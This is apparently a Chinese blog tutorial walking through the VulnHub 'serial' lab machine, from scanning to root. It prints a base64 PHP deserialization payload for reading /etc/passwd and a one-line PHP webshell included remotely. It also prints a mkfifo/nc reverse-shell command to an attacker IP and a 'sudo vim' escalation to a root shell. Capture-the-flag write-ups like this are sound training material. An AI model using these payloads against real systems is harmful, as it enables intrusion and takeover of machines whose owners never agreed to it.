首页 > 其他分享 >serial靶机教程

serial靶机教程

时间:2024-08-06 22:29:12浏览次数:17  
标签:教程 log base64 192.168 class User serial php 靶机

靶机下载地址

https://download.vulnhub.com/serial/serial.zip

主机发现

arp-scan -l

端口扫描

nmap 192.168.229.131 -A

根据对⽐可知serial的⼀个ip地址为192.168.47.143

该靶机开启了22端⼝和80端⼝

对⽹站进⾏⼀个访问,⼤概意思为这是对新的cookie处理程序的测试版暂且搁置

目录扫描

dirb http://192.168.229.131

访问网站

发现⼀个zip⽂件

解压查看

index.php⽂件中包含user.class.php⽂件且对cookie中的user参数进⾏了序列化和base64编码

user.class.php⽂件包含log.class.php⽂件且定义了Welcome和User两个类并调⽤了

log.class.php⽂件中的handler函数

log.class.php定义了Log类和成员变量type_log且handler函数对变量进⾏了⽂件包含和输出

没有得到有用的信息

访问原⽹站,⽤Burpsuite抓包查看cookie

发现其为base64编码,对其进行解码

O:4:"User":2:{s:10:".User.name";s:3:"sk4";s:9:".User.wel";O:7:"Welcome":0:{}}7.

构造payload,尝试读取passwd⽂件

O:4:"User":2:{s:10:" User name";s:5:"admin";s:9:" User wel";O:3:"Log":1:{s:
8:"type_log";s:11:"/etc/passwd";}}

使⽤base64编码

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHd
lbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIj
t9fQ==

获取shell

在本机写一个txt

<?php system($_GET['cmd'];?>

在创建一个木马文件

<?php
 class Log {
 private $type_log = "http://本机ip/1.txt";
 }
 class User {
 private $name = "admin";
 private $wel;
 function __construct() {
 $this->wel = new Log();
 }
}
$obj = new User();
echo base64_encode(serialize($obj));

访问php文件

在kali开启一个监听

反弹shell

?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.229.132
+8888+>/tmp/f

反弹成功

提权

查看系统版本,内核版本

切换到根目录

cd /
ls

查看文件

cat credentials.txt.bak

使用远程连接使用之前扫出来的21端口

ssh [email protected]

尝试进入root

用sudo vim,进⼊到命令模式输⼊!bash

以下则是提权成功

标签:教程,log,base64,192.168,class,User,serial,php,靶机
From: https://blog.csdn.net/a666666688/article/details/140967754

相关文章

  • dc-2靶机
    下载靶机dc-2先找靶机nmap-sV10.204.11.0/24先广泛的找一下再细查一下nmap-A-p-10.204.11.3开了个80端口又有一个ssh登陆端口我们先查看一下端口服务发现无法访问解析失败我们可以配置/etc/hosts文件再主机配置C:\Windows\System32\drivers\etc没有权限的话右键更......
  • jsoncpp库的简易引入教程
    1.打开github上项目的主页jsoncpp2.clone到本地gitclonehttps://github.com/open-source-parsers/jsoncpp.git3.生成jsoncpp库的头文件以及源文件进入项目目录![[Pastedimage20240510150641.png]]执行Python命令,pythonamalgamate.py![[Pastedimage20240510150......
  • 【Mind+】掌控板入门教程05 心情灯
        大自然的各种色彩使人产生各种感觉,心理学家认为,不同的颜色会让人产生不同的情绪。比如,红色通常给人刺激、热情和幸福的感觉,而绿色作为自然界中草原和森林的颜色,给人以理想、年轻、新鲜的感觉,蓝色则让人感到悠远、宁静等等。    今天就让我们用......
  • RickdiculouslyEasy靶机
    靶机地址:RickdiculouslyEasy:1~VulnHub查看靶机的MAC地址:信息收集确定目标主机:arp-scan-l扫描靶机开放的端口,发现21端口允许匿名登录,在13337端口中获取到第一个flag{TheyFoundMyBackDoorMorty}nmap-A-sS-sV-v-p-192.168.7.5221端口访问ftp服务:ftp192.16......
  • YOLOv5改进 | 主干网络 | 将backbone替换为MobileNetV2【小白必备教程+附完整代码】
    秋招面试专栏推荐 :深度学习算法工程师面试问题总结【百面算法工程师】——点击即可跳转......
  • 大模型入门教程(非常详细)从零基础入门到精通,看完这一篇就够了
    人人都看得懂的大模型简介大模型就像一座庞大的图书馆,里面有非常多的书籍。但与普通图书馆不同的是,这座图书馆中的每本书都是关于不同事物的描述和知识。而这些书籍中的每一页都代表了这个事物的一些特征或细节。现在,想象一下,你是一个研究员,你想了解各种各样的话题,比如天气......
  • 群晖NAS安装Nastool自动下载同步影音资源并实现远程观影详细教程
    文章目录前言1.本地搭建Nastool2.nastool基础设置3.群晖NAS安装内网穿透工具4.配置公网地址5.配置固定公网地址前言Nastool是为群晖NAS玩家量身打造的一款智能化影音管理利器。它不仅能够满足电影发烧友、音乐爱好者和追剧达人的需求,更能让你在繁忙的生活中轻......
  • 【编程语言】Delphi使用教程
    目录一、概述二、Delphi的开发环境三、Delphi基本功能3.1创建新项目3.2设计表单3.3编写代码3.4编译和运行3.5调试四、Delphi的高级的概念和技巧4.1使用组件和类4.2数据库操作4.3图形和多媒体4.4网络编程4.5调试和优化4.6 部署和分发4.7版本控制和......
  • Java-反应流教程-全-
    Java反应流教程(全)原文:ReactiveStreamsinJava协议:CCBY-NC-SA4.0一、反应流简介ReactiveStreams是一项倡议,旨在为无阻塞背压异步流处理提供标准。这包括针对运行时环境(JVM和JavaScript)以及网络协议的努力。—reactive-streams.org反应式流的核心是努力为响应......
  • Java-自然启发的算法教程-全-
    Java自然启发的算法教程(全)原文:Nature-InspiredOptimizationAlgorithmswithJava协议:CCBY-NC-SA4.0一、最优化导论:问题与技术真正的优化是现代研究对决策过程的革命性贡献。—乔治·丹齐格,美国科学家本章介绍了优化技术,重点是那些元启发/自然启发的技术。您将学习......